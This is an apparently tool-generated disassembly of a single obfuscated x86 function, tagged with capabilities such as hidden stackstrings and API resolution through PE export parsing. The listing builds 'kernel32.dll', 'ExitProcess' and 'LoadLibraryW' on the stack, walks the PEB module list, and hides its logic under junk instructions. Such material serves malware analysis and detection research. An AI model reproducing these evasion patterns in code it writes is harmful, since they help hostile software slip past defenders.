Function at 0x4137fa
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3f4], eax
push edx
push ebx
add esp, 4
sub edx, 0x177fa
and edx, 0x24c4
jmp 0x41184a
and edx, 0x13b71
pop edx
push edi
xor edi, 0x3407
or edi, 0x42b7
xor edi, 0x3b4a
pop edi
mov ecx, dword [ebp - 0x20b8]
mov dword [ebp - 0x15c8], ecx
push ecx
push esi
add esp, 4
sub ecx, 0x9dca
pop ecx
push edx
xor edx, 0x8cf2
or edx, 0x560d
sub edx, 0x11d09
sub edx, 0x5a5b
pop edx
push edx
push edx
add esp, 4
sub edx, 0xe6d
pop edx
mov edx, dword [ebp - 0x14]
add edx, 0x70
imul eax, dword [ebp - 0x10], 0x70
add eax, 0x44f3663b
imul ecx, dword [ebp - 0x10], 0x70
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x15c8], edx
mov edx, dword [ebp - 0x3f4]
mov dword [ebp - 0x2000], edx
mov eax, dword [ebp - 0x2000]
add eax, dword [ebp - 0x15c8]
mov dword [ebp - 0x3f4], eax
push edi
add edi, 0xeeb0
and edi, 0x914c
jmp 0x4118f5
xor edi, 0x11536
pop edi
push ecx
push edx
add esp, 4
add ecx, 0x11e7d
add ecx, 0x10094
and ecx, 0xe9cd
pop ecx
mov byte [ebp - 0xbf0], 0x52
mov byte [ebp - 0xbef], 0xb9
mov byte [ebp - 0xbee], 0x10
mov byte [ebp - 0xbed], 0x10
mov byte [ebp - 0xbec], 0x10
mov byte [ebp - 0xbeb], 0x10
mov byte [ebp - 0xbea], 0x5a
push ebx
sub ebx, 0x163d6
call 0x41195b
add byte [0x40393e48], bh
dec ebp
xor eax, 0xc4833e40
add al, 0x81
jecxz 0x41195e
and ebx, 0x28fd
call 0x411973
sub byte [eax], al
add al, ch
or al, byte [eax]
add byte [eax], al
add byte [ebx + 0x3f], cl
cmp al, 0x44
dec edx
inc ebx
cmp byte [ebx + 0x48], al
add esp, 4
pop ebx
mov byte [ebp - 0xbe8], 0x52
mov byte [ebp - 0xbe7], 0xb9
mov byte [ebp - 0xbe6], 0x20
mov byte [ebp - 0xbe5], 0x20
mov byte [ebp - 0xbe4], 0x20
mov byte [ebp - 0xbe3], 0x20
mov byte [ebp - 0xbe2], 0x5a
push eax
or eax, 0x13ee0
pop eax
push edi
push edx
add esp, 4
jmp 0x4119bc
call 0x4119ca
add byte [0x403d4d36], bh
cmp dword [ecx + 0x37], eax
add esp, 4
sub edi, 0x8d8a
add edi, 0x10fc4
pop edi
mov dword [ebp - 0x20bc], 0xe
push edi
push edx
add esp, 4
jmp 0x4119f1
pop edi
push ecx
push edi
add esp, 4
call 0x411a06
add byte [edx + 0x46], al
aaa
xor al, 0x37
inc edi
aaa
dec edx
add esp, 4
and ecx, 0x10775
add ecx, 0x50d
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbf0]
mov dword [ebp - 0x15cc], eax
push edi
xor edi, 0x5f97
and edi, 0xe589
pop edi
push esi
push edx
add esp, 4
and esi, 0x9666
and esi, 0x134a5
pop esi
push ebx
push esi
add esp, 4
and ebx, 0x871c
sub ebx, 0xcc3d
pop ebx
mov dword [ebp - 0x20c0], 0xffffffff
push edi
xor edi, 0xc5a6
sub edi, 0x1ef0
or edi, 0x4ef5
pop edi
push edx
push edi
add esp, 4
sub edx, 0x13c0b
sub edx, 0xa09b
xor edx, 0x15c74
sub edx, 0x33ba
pop edx
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x500], ecx
jmp 0x411ab6
mov edx, dword [ebp - 0x500]
add edx, 1
mov dword [ebp - 0x500], edx
push eax
push edi
add esp, 4
add eax, 0xf33b
xor eax, 0x10762
pop eax
push ebx
push ecx
add esp, 4
or ebx, 0xb72d
pop ebx
push edi
call 0x411ae4
add byte [ecx], bh
cmp al, 0x4b
push eax
inc esp
dec edi
dec esi
cmp al, 0x83
les eax, [edi + ebx*2]
mov eax, dword [ebp - 0x500]
sub eax, dword [ebp - 0x3f4]
cmp eax, 0xffffffff
jb 0x411b30
push eax
push edi
add esp, 4
jmp 0x411b05
pop eax
push edi
and edi, 0xe735
sub edi, 0xc3de
pop edi
push esi
and esi, 0x143a6
xor esi, 0x96c0
jmp 0x411b2a
pop esi
jmp 0x411d5e
mov dword [ebp - 0xc84], 7
mov ecx, dword [ebp - 0x500]
mov dword [ebp - 0xad0], ecx
push esi
sub esi, 0xcb82
and esi, 0xc0d6
or esi, 0x17cf5
pop esi
push edx
push esi
add esp, 4
jmp 0x411b65
or edx, 0x4544
xor edx, 0x13cee
or edx, 0x5772
pop edx
mov edx, dword [ebp - 0x15cc]
mov dword [ebp - 0xacc], edx
mov dword [ebp - 0xc88], 0
mov eax, dword [ebp - 0x500]
cmp eax, dword [ebp - 0x15cc]
jne 0x411bdf
push ebx
and ebx, 0x126bc
and ebx, 0xf577
jmp 0x411baf
pop ebx
push ecx
and ecx, 0x72a
pop ecx
push ebx
sub ebx, 0x10477
jmp 0x411bc7
and ebx, 0x98e8
pop ebx
mov ecx, dword [ebp - 0xc88]
mov dword [ebp - 0x15d4], ecx
jmp 0x411d10
cmp dword [ebp - 0xc84], 0
jle 0x411d04
push ecx
push ebx
add esp, 4
jmp 0x411bfa
jmp 0x411bff
or ecx, 0x10ad2
pop ecx
push edx
push ebx
add esp, 4
sub edx, 0xf0b6
and edx, 0x6f1d
and edx, 0xfddf
pop edx
mov edx, dword [ebp - 0xad0]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xacc]
movzx edx, byte [ecx]
cmp eax, edx
je 0x411ca0
push ebx
push ebx
add esp, 4
or ebx, 0x22c
sub ebx, 0x708
pop ebx
push ecx
push eax
add esp, 4
or ecx, 0xbef8
pop ecx
push edx
xor edx, 0xf48c
and edx, 0x10b7c
sub edx, 0x91bc
pop edx
mov eax, dword [ebp - 0xad0]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xacc]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x411c88
mov dword [ebp - 0x15d0], 1
jmp 0x411c92
mov dword [ebp - 0x15d0], 0xffffffff
mov ecx, dword [ebp - 0x15d0]
mov dword [ebp - 0xc88], ecx
jmp 0x411d04
push ebx
call 0x411cae
add byte [ecx + 0x44], al
dec ecx
cmp ecx, dword [ebx + 0x44]
add esp, 4
sub ebx, 0x37d7
add ebx, 0xaf55
add ebx, 0x937d
pop ebx
push edx
and edx, 0x119e8
add edx, 0x83c2
pop edx
mov edx, dword [ebp - 0xc84]
sub edx, 1
mov dword [ebp - 0xc84], edx
mov eax, dword [ebp - 0xad0]
add eax, 1
mov dword [ebp - 0xad0], eax
mov ecx, dword [ebp - 0xacc]
add ecx, 1
mov dword [ebp - 0xacc], ecx
jmp 0x411bdf
mov edx, dword [ebp - 0xc88]
mov dword [ebp - 0x15d4], edx
cmp dword [ebp - 0x15d4], 0
jne 0x411d59
push edi
xor edi, 0x11c83
sub edi, 0x2ec5
call 0x411d33
add byte [edx + edi], dh
dec edi
inc ebx
inc edx
inc edx
inc esp
add esp, 4
pop edi
push esi
add esi, 0x12926
and esi, 0x3b88
add esi, 0x14b8c
pop esi
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x3e4], eax
jmp 0x411d9a
jmp 0x411aa7
push eax
push ebx
add esp, 4
sub eax, 0x1d0c
pop eax
push edx
add edx, 0x1839
pop edx
push ecx
push esi
add esp, 4
or ecx, 0x79cc
or ecx, 0x11b86
xor ecx, 0xfaf6
sub ecx, 0x143b0
pop ecx
mov dword [ebp - 0x3e4], 0
push edi
push edx
add esp, 4
sub edi, 0xb651
jmp 0x411dad
jmp 0x411db4
jmp 0x411dbb
pop edi
push ecx
or ecx, 0x6339
pop ecx
push esi
or esi, 0x59d0
pop esi
push esi
push ebx
add esp, 4
or esi, 0x11aa9
pop esi
push edx
or edx, 0x383b
call 0x411dee
add byte [eax + 0x3e], cl
inc eax
dec esp
inc ecx
cmp ecx, dword [ebp + 0x48]
aas
add esp, 4
or edx, 0x1538e
and edx, 0xb6de
pop edx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xbe8]
mov dword [ebp - 0x15d8], eax
push eax
push edx
add esp, 4
jmp 0x411e1e
xor eax, 0x18579
pop eax
push ebx
xor ebx, 0x12dd2
pop ebx
push ecx
push edi
add esp, 4
xor ecx, 0x11d83
add ecx, 0x176d8
sub ecx, 0x183a7
pop ecx
mov dword [ebp - 0x20c4], 0xffffffff
push edx
push eax
add esp, 4
add edx, 0x15447
pop edx
push esi
push edx
add esp, 4
or esi, 0xa858
sub esi, 0xe320
pop esi
push eax
or eax, 0x5e2e
and eax, 0x179d
jmp 0x411e80
pop eax
mov ecx, dword [ebp - 0x3f4]
mov dword [ebp - 0x504], ecx
jmp 0x411e9e
mov edx, dword [ebp - 0x504]
add edx, 1
mov dword [ebp - 0x504], edx
push eax
push eax
add esp, 4
call 0x411eaf
add byte [ebx], bh
xor eax, 0x834a4f3b
les eax, [ecx + eax*4]
enter 0xffffffffffffd091, 0
add bl, ch
pop es
inc eax
cmp ecx, dword [edx + 0x3d]
cmp byte [eax + 0x42], dl
and eax, 0x6471
pop eax
push ebx
xor ebx, 0x15243
pop ebx
mov eax, dword [ebp - 0x504]
sub eax, dword [ebp - 0x3f4]
cmp eax, 0xffffffff
jb 0x411f18
push ecx
push esi
add esp, 4
and ecx, 0x119c6
pop ecx
push edi
push eax
add esp, 4
and edi, 0x14fd8
pop edi
push edx
xor edx, 0x10c12
add edx, 0x9348
add edx, 0x6314
sub edx, 0x1e65
pop edx
jmp 0x412146
mov dword [ebp - 0xc8c], 7
mov ecx, dword [ebp - 0x504]
mov dword [ebp - 0xac8], ecx
push ebx
or ebx, 0x45dc
call 0x411f42
add byte [edi], dh
aaa
dec ebx
dec ecx
inc esi
dec esp
inc ebp
add esp, 4
and ebx, 0xd006
pop ebx
push edx
push esi
add esp, 4
or edx, 0x2ace
pop edx
push edi
jmp 0x411f5f
pop edi
mov edx, dword [ebp - 0x15d8]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc90], 0
mov eax, dword [ebp - 0x504]
cmp eax, dword [ebp - 0x15d8]
jne 0x411fc7
push edi
add edi, 0x6c9c
call 0x411f98
add byte [edx + 0x4d], cl
xor ecx, dword [esi + 0x3f]
xor dh, byte [0x5f04c483]
push edx
add edx, 0x14741
or edx, 0xa880
add edx, 0xc927
or edx, 0x10cc0
pop edx
mov ecx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], ecx
jmp 0x4120f8
cmp dword [ebp - 0xc8c], 0
jle 0x4120ec
push eax
or eax, 0x4f38
add eax, 0x142c0
pop eax
push edi
push ebx
add esp, 4
sub edi, 0xb4a7
add edi, 0x102c1
pop edi
push edi
push ecx
add esp, 4
xor edi, 0x2663
add edi, 0xcbc8
pop edi
mov edx, dword [ebp - 0xac8]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x412088
push esi
push eax
add esp, 4
jmp 0x412026
sub esi, 0x15f88
pop esi
push edi
push edx
add esp, 4
add edi, 0x1570b
call 0x412044
add byte [edi + 0x4f], al
inc ebx
xor cl, byte [esi + 0x4e]
add esp, 4
or edi, 0x164
pop edi
mov eax, dword [ebp - 0xac8]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x412070
mov dword [ebp - 0x15dc], 1
jmp 0x41207a
mov dword [ebp - 0x15dc], 0xffffffff
mov ecx, dword [ebp - 0x15dc]
mov dword [ebp - 0xc90], ecx
jmp 0x4120ec
push esi
xor esi, 0x11797
pop esi
push edx
push eax
add esp, 4
or edx, 0x2809
call 0x4120aa
add byte [edi], bh
dec esi
dec edi
inc ebp
inc ebp
dec ecx
xor al, 0x83
les eax, [ecx + eax*4]
loop 0x4120d1
sub al, 0
add byte [ecx + 0xfde8ea], al
add byte [edx - 0x75], bl
xchg ebp, eax
je 0x4120b1
add byte [eax], al
sub edx, 0xfde8
pop edx
mov edx, dword [ebp - 0xc8c]
sub edx, 1
mov dword [ebp - 0xc8c], edx
mov eax, dword [ebp - 0xac8]
add eax, 1
mov dword [ebp - 0xac8], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x411fc7
invalid
add dword [ecx - 0xac77b], ecx
dec dword [ebx - 0xa6373]
inc dword [ebx - 0x7276fe3f]
pushfd
cmc
invalid
mov edx, dword [ebp - 0xc90]
mov dword [ebp - 0x15a8], edx
cmp dword [ebp - 0x15a8], 0
jne 0x412141
push edx
push ecx
add esp, 4
xor edx, 0xbdf3
and edx, 0x8322
or edx, 0xc1fe
pop edx
push edx
xor edx, 0xd97e
sub edx, 0x8a24
xor edx, 0x26ef
or edx, 0x1e8d
pop edx
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0xac4], eax
jmp 0x412182
jmp 0x411e8f
push eax
push ebx
add esp, 4
and eax, 0x9448
or eax, 0xc741
add eax, 0x1325f
jmp 0x412166
pop eax
push edx
call 0x412174
add byte [eax], bh
dec ebp
dec ecx
cmp cl, byte [edx + 0x4f]
add esp, 4
pop edx
mov dword [ebp - 0xac4], 0
push eax
and eax, 0x10e69
pop eax
push edx
push edx
add esp, 4
jmp 0x412195
pop edx
push ebx
push edx
add esp, 4
jmp 0x4121a1
add ebx, 0xdde9
xor ebx, 0x120a5
or ebx, 0x121d8
pop ebx
mov byte [ebp - 0x87c], 0x45
mov byte [ebp - 0x87b], 0x78
mov byte [ebp - 0x87a], 0x69
mov byte [ebp - 0x879], 0x74
mov byte [ebp - 0x878], 0x50
mov byte [ebp - 0x877], 0x72
mov byte [ebp - 0x876], 0x6f
mov byte [ebp - 0x875], 0x63
mov byte [ebp - 0x874], 0x65
mov byte [ebp - 0x873], 0x73
mov byte [ebp - 0x872], 0x73
mov byte [ebp - 0x871], 0
push edx
push eax
add esp, 4
sub edx, 0x7985
jmp 0x412219
add edx, 0x14c2b
and edx, 0x50be
pop edx
push edx
sub edx, 0x17c42
and edx, 0x16309
sub edx, 0x1dd
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1740], cx
mov edx, 0x65
mov word [ebp - 0x173e], dx
mov eax, 0x72
mov word [ebp - 0x173c], ax
mov ecx, 0x6e
mov word [ebp - 0x173a], cx
mov edx, 0x65
mov word [ebp - 0x1738], dx
mov eax, 0x6c
mov word [ebp - 0x1736], ax
mov ecx, 0x33
mov word [ebp - 0x1734], cx
mov edx, 0x32
mov word [ebp - 0x1732], dx
mov eax, 0x2e
mov word [ebp - 0x1730], ax
mov ecx, 0x64
mov word [ebp - 0x172e], cx
mov edx, 0x6c
mov word [ebp - 0x172c], dx
mov eax, 0x6c
mov word [ebp - 0x172a], ax
xor ecx, ecx
mov word [ebp - 0x1728], cx
push edi
push esi
add esp, 4
sub edi, 0xdbba
jmp 0x4122e4
call 0x4122f2
add byte [esi], dh
dec ebp
xor al, 0x37
inc ebp
xor eax, dword [edi - 0x7d]
les eax, [edi + ebx*2]
push edx
push edx
add esp, 4
jmp 0x412304
pop edx
push ebx
push ebx
add esp, 4
and ebx, 0xc431
xor ebx, 0x28f7
xor ebx, 0xdc5c
pop ebx
push edx
add edx, 0xa347
and edx, 0x3772
sub edx, 0xa0ec
xor edx, 0x75e6
pop edx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x2020], edx
mov eax, dword [ebp - 0x2020]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1978], ecx
mov edx, dword [ebp - 0x1978]
mov dword [ebp - 0x15e0], edx
push esi
push edx
add esp, 4
and esi, 0x6391
or esi, 0xaeb6
pop esi
push ecx
push ebx
add esp, 4
add ecx, 0x1614
xor ecx, 0x7863
sub ecx, 0x151c6
pop ecx
push edx
add edx, 0xd9aa
pop edx
cmp dword [ebp - 0x15e0], 0
jne 0x4123a9
mov dword [ebp - 0x2d4], 0
jmp 0x412665
mov eax, dword [ebp - 0x15e0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc9c], edx
push ebx
push ecx
add esp, 4
or ebx, 0xa44e
and ebx, 0x9c99
pop ebx
push eax
add eax, 0x340e
sub eax, 0x8331
add eax, 0xb77f
pop eax
push esi
push edx
add esp, 4
add esi, 0xb1d3
pop esi
cmp dword [ebp - 0xc9c], 0
jne 0x412405
mov dword [ebp - 0x2d4], 0
jmp 0x412665
mov eax, dword [ebp - 0xc9c]
mov dword [ebp - 0x508], eax
push esi
push edi
add esp, 4
jmp 0x41241d
call 0x41242b
add byte [ecx + 0x40], al
cmp byte [edi], dh
xor al, 0x3a
cmp al, 0x3d
add esp, 4
sub esi, 0x6373
sub esi, 0x7095
pop esi
push ebx
add ebx, 0x1517b
pop ebx
lea ecx, [ebp - 0x1740]
mov dword [ebp - 0xc98], ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc94], eax
xor ecx, ecx
mov word [ebp - 0x210], cx
xor edx, edx
mov word [ebp - 0x10c], dx
push eax
or eax, 0x640a
xor eax, 0xce61
or eax, 0x129a8
xor eax, 0x125bb
pop eax
push esi
push edx
add esp, 4
jmp 0x412494
add esi, 0x139dc
jmp 0x4124a1
pop esi
mov eax, dword [ebp - 0xc94]
mov cx, word [eax]
mov word [ebp - 0x1036], cx
mov edx, dword [ebp - 0xc94]
add edx, 2
mov dword [ebp - 0xc94], edx
mov ax, word [ebp - 0x1036]
mov word [ebp - 0x210], ax
mov ecx, dword [ebp - 0xc98]
mov dx, word [ecx]
mov word [ebp - 0x1038], dx
mov eax, dword [ebp - 0xc98]
add eax, 2
mov dword [ebp - 0xc98], eax
mov cx, word [ebp - 0x1038]
mov word [ebp - 0x10c], cx
push ecx
or ecx, 0x1162c
xor ecx, 0xc0ce
pop ecx
push edi
or edi, 0x206e
and edi, 0x27e0
call 0x412524
add byte [edx + 0x44], cl
inc ebx
cmp al, 0x40
cmp al, 0x83
les eax, [ecx + eax*4]
out 0xc1, eax
and eax, dword [ecx]
add byte [edi + 0xf], bl
mov bh, 0x95
hlt
push edi
push ebx
add esp, 4
or edi, 0x1ca1
and edi, 0x17edc
xor edi, 0x12dbd
and edi, 0x768c
pop edi
push esi
xor esi, 0x1298b
sub esi, 0x12cf4
xor esi, 0x10291
pop esi
cmp dword [ebp - 0x2d4], 0
jne 0x412fb0
mov edx, 0x6b
mov word [ebp - 0x1798], dx
mov eax, 0x65
mov word [ebp - 0x1796], ax
mov ecx, 0x72
mov word [ebp - 0x1794], cx
mov edx, 0x6e
mov word [ebp - 0x1792], dx
mov eax, 0x65
mov word [ebp - 0x1790], ax
mov ecx, 0x6c
mov word [ebp - 0x178e], cx
mov edx, 0x33
mov word [ebp - 0x178c], dx
mov eax, 0x32
mov word [ebp - 0x178a], ax
mov ecx, 0x2e
mov word [ebp - 0x1788], cx
mov edx, 0x64
mov word [ebp - 0x1786], dx
mov eax, 0x6c
mov word [ebp - 0x1784], ax
mov ecx, 0x6c
mov word [ebp - 0x1782], cx
xor edx, edx
mov word [ebp - 0x1780], dx
push esi
push eax
add esp, 4
or esi, 0x4ee8
add esi, 0x8944
sub esi, 0x16dc8
jmp 0x41275a
pop esi
push eax
sub eax, 0x11dc2
sub eax, 0x1260c
add eax, 0x12a19
pop eax
mov byte [ebp - 0x898], 0x4c
mov byte [ebp - 0x897], 0x6f
mov byte [ebp - 0x896], 0x61
mov byte [ebp - 0x895], 0x64
mov byte [ebp - 0x894], 0x4c
mov byte [ebp - 0x893], 0x69
mov byte [ebp - 0x892], 0x62
mov byte [ebp - 0x891], 0x72
mov byte [ebp - 0x890], 0x61
mov byte [ebp - 0x88f], 0x72
mov byte [ebp - 0x88e], 0x79
mov byte [ebp - 0x88d], 0x57
mov byte [ebp - 0x88c], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x197c], eax
mov ecx, dword [ebp - 0x197c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x1980], edx
mov eax, dword [ebp - 0x1980]
mov dword [ebp - 0x15ec], eax
push edx
or edx, 0xbbf4
sub edx, 0xc439
sub edx, 0x39e4
or edx, 0x25cb
pop edx
push esi
push edx
add esp, 4
add esi, 0x14e9e
sub esi, 0xc3c4
or esi, 0x2249
pop esi
cmp dword [ebp - 0x15ec], 0
jne 0x41283b
mov dword [ebp - 0x754], 0
jmp 0x412af7
mov ecx, dword [ebp - 0x15ec]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xca8], eax
push edx
push eax
add esp, 4
or edx, 0x11f64
xor edx, 0xab21
and edx, 0xdb04
jmp 0x41286a
pop edx
push edx
jmp 0x412872
or edx, 0x6332
sub edx, 0xa506
pop edx
cmp dword [ebp - 0xca8], 0
jne 0x412897
mov dword [ebp - 0x754], 0
jmp 0x412af7
mov ecx, dword [ebp - 0xca8]
mov dword [ebp - 0x50c], ecx
push eax
jmp 0x4128ac
pop eax
push edx
push ecx
add esp, 4
call 0x4128c1
add byte [eax + 0x3d], cl
inc ecx
xor al, 0x4c
cmp al, byte [ebx + 0x47]
add esp, 4
call 0x4128d1
add byte [esi + 0x43], al
cmp al, 0x45
inc edx
xor ecx, dword [edx - 0x7d]
les eax, [edx + ebx*2]
lea edx, [ebp - 0x1798]
mov dword [ebp - 0xca4], edx
mov eax, dword [ebp - 0x50c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xca0], ecx
xor edx, edx
mov word [ebp - 0x214], dx
xor eax, eax
mov word [ebp - 0x110], ax
push edx
add edx, 0x13fb7
pop edx
push ecx
push edx
add esp, 4
add ecx, 0x1bd
xor ecx, 0x142fe
pop ecx
push esi
push edx
add esp, 4
add esi, 0x1159
or esi, 0xdde1
sub esi, 0x38f7
pop esi
mov ecx, dword [ebp - 0xca0]
mov dx, word [ecx]
mov word [ebp - 0x103a], dx
mov eax, dword [ebp - 0xca0]
add eax, 2
mov dword [ebp - 0xca0], eax
mov cx, word [ebp - 0x103a]
mov word [ebp - 0x214], cx
mov edx, dword [ebp - 0xca4]
mov ax, word [edx]
mov word [ebp - 0x103c], ax
mov ecx, dword [ebp - 0xca4]
add ecx, 2
mov dword [ebp - 0xca4], ecx
mov dx, word [ebp - 0x103c]
mov word [ebp - 0x110], dx
push edx
or edx, 0x8573
add edx, 0x15ea
and edx, 0x102b6
pop edx
push ebx
push ebx
add esp, 4
or ebx, 0xaa83
pop ebx
push edi
call 0x4129bc
add byte [ebx], dh
dec edi
dec esp
inc esi
dec eax
xor al, 0x83
les eax, [edi + ebx*2]
movzx eax, word [ebp - 0x110]
test eax, eax
jne 0x4129e3
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
sub ecx, edx
mov dword [ebp - 0x15f4], ecx
jmp 0x412a46
movzx eax, word [ebp - 0x214]
movzx ecx, word [ebp - 0x110]
cmp eax, ecx
je 0x412902
movzx edx, word [ebp - 0x214]
xor edx, 0x20
movzx eax, word [ebp - 0x110]
cmp edx, eax
je 0x412902
movzx ecx, word [ebp - 0x214]
movzx edx, word [ebp - 0x110]
cmp ecx, edx
jge 0x412a30
mov dword [ebp - 0x15f0], 0xffffffff
jmp 0x412a3a
mov dword [ebp - 0x15f0], 1
mov eax, dword [ebp - 0x15f0]
mov dword [ebp - 0x15f4], eax
cmp dword [ebp - 0x15f4], 0
jne 0x412a8f
push ecx
push ecx
add esp, 4
or ecx, 0x14e74
xor ecx, 0x322
or ecx, 0xf134
sub ecx, 0x17935
pop ecx
push edx
call 0x412a7d
add byte [edx], bh
dec edx
dec edx
inc ebp
inc esp
xor eax, dword [eax + 0x36]
dec esp
add esp, 4
pop edx
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x754], ecx
jmp 0x412af7
push edx
or edx, 0x27cb
or edx, 0x21ef
add edx, 0xc807
pop edx
push edi
push ebx
add esp, 4
or edi, 0xd987
add edi, 0x16c9e
sub edi, 0x188b
xor edi, 0x13be8
pop edi
mov edx, dword [ebp - 0x50c]
mov eax, dword [edx]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
cmp ecx, dword [ebp - 0xca8]
je 0x412aed
mov edx, dword [ebp - 0x50c]
cmp dword [edx + 0x30], 0
jne 0x4128a3
mov dword [ebp - 0x754], 0
push ebx
push esi
add esp, 4
call 0x412b0b
add byte [0x474e3e44], bh
inc edi
cmp eax, dword [edi + ecx*2 - 0x7d]
les eax, [ebx + ebx*2]
push edi
or edi, 0xce4d
pop edi
push ecx
push ecx
add esp, 4
xor ecx, 0x4d8d
or ecx, 0xaca8
pop ecx
cmp dword [ebp - 0x754], 0
jne 0x412b73
push esi
push edi
add esp, 4
xor esi, 0xbe57
sub esi, 0xdc3c
and esi, 0x2bcd
pop esi
push edx
add edx, 0x1b98
pop edx
push ecx
push ebx
add esp, 4
or ecx, 0x3f52
jmp 0x412b63
pop ecx
mov dword [ebp - 0x7a0], 0
jmp 0x41369a
push esi
push edx
add esp, 4
xor esi, 0x16374
jmp 0x412b83
xor esi, 0x117e6
pop esi
push eax
xor eax, 0x35d9
or eax, 0x4eab
jmp 0x412b9e
xor eax, 0x9afc
pop eax
mov eax, dword [ebp - 0x754]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x320], ecx
mov dword [ebp - 0x764], 0
mov edx, dword [ebp - 0x320]
mov dword [ebp - 0x15f8], edx
cmp dword [ebp - 0x15f8], 0
jne 0x412be4
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], eax
jmp 0x412ed5
mov ecx, dword [ebp - 0x15f8]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x15fc], edx
jne 0x412c0c
mov eax, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], eax
jmp 0x412ed5
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x15fc]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1600], ecx
cmp dword [ebp - 0x1600], 0
jne 0x412c3e
mov edx, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], edx
jmp 0x412ed5
mov eax, dword [ebp - 0x320]
add eax, dword [ebp - 0x1600]
mov dword [ebp - 0x758], eax
jne 0x412c63
mov ecx, dword [ebp - 0x764]
mov dword [ebp - 0x3f8], ecx
jmp 0x412ed5
mov edx, dword [ebp - 0x758]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x1984], eax
mov ecx, dword [ebp - 0x758]
mov edx, dword [ebp - 0x320]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x1988], edx
mov eax, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x198c], ecx
mov dword [ebp - 0x75c], 0
jmp 0x412cbd
mov edx, dword [ebp - 0x75c]
add edx, 1
mov dword [ebp - 0x75c], edx
mov eax, dword [ebp - 0x758]
mov ecx, dword [ebp - 0x75c]
cmp ecx, dword [eax + 0x18]
jae 0x412ec9
mov edx, dword [ebp - 0x75c]
mov eax, dword [ebp - 0x1984]
mov ecx, dword [ebp - 0x320]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x760], ecx
mov edx, dword [ebp - 0x75c]
mov eax, dword [ebp - 0x1988]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x198c]
mov eax, dword [ebp - 0x320]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x1990], eax
mov dword [ebp - 0x194], 0
jmp 0x412d2d
mov ecx, dword [ebp - 0x194]
add ecx, 1
mov dword [ebp - 0x194], ecx
mov edx, dword [ebp - 0x760]
add edx, dword [ebp - 0x194]
movsx eax, byte [edx]
test eax, eax
je 0x412ddf
mov ecx, dword [ebp - 0x194]
movsx edx, byte [ebp + ecx - 0x898]
test edx, edx
je 0x412ddf
push esi
or esi, 0xfcd0
call 0x412d6e
add byte [ebx], bh
cmp esi, dword [eax + edi]
dec eax
push eax
dec edi
add esp, 4
sub esi, 0x9256
pop esi
push ecx
xor ecx, 0x98f1
and ecx, 0x19a9
or ecx, 0x8ba2
pop ecx
mov eax, dword [ebp - 0x760]
add eax, dword [ebp - 0x194]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x194]
movsx eax, byte [ebp + edx - 0x898]
cmp ecx, eax
je 0x412dd1
mov ecx, dword [ebp - 0x760]
add ecx, dword [ebp - 0x194]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x194]
movsx ecx, byte [ebp + eax - 0x898]
cmp edx, ecx
jne 0x412dd8
jmp 0x412d1e
jmp 0x412ddf
push eax
sub eax, 0x14f64
or eax, 0x13a0f
sub eax, 0x7940
pop eax
push ebx
or ebx, 0x10b4c
jmp 0x412e00
call 0x412e0d
add byte [eax + 0x32], cl
cmp bh, byte [edx]
inc esi
cmp eax, 0x4c48332
pop ebx
mov edx, dword [ebp - 0x760]
add edx, dword [ebp - 0x194]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x194]
movsx edx, byte [ebp + ecx - 0x898]
cmp eax, edx
jne 0x412e3e
mov dword [ebp - 0xcac], 0
jmp 0x412ead
push esi
push edi
add esp, 4
xor esi, 0x6b90
add esi, 0x11870
or esi, 0x92ab
pop esi
push ebx
jmp 0x412e5d
or ebx, 0xf59d
add ebx, 0x9459
add ebx, 0x106a0
pop ebx
mov eax, dword [ebp - 0x760]
add eax, dword [ebp - 0x194]
movsx ecx, byte [eax]
or ecx, 0x20
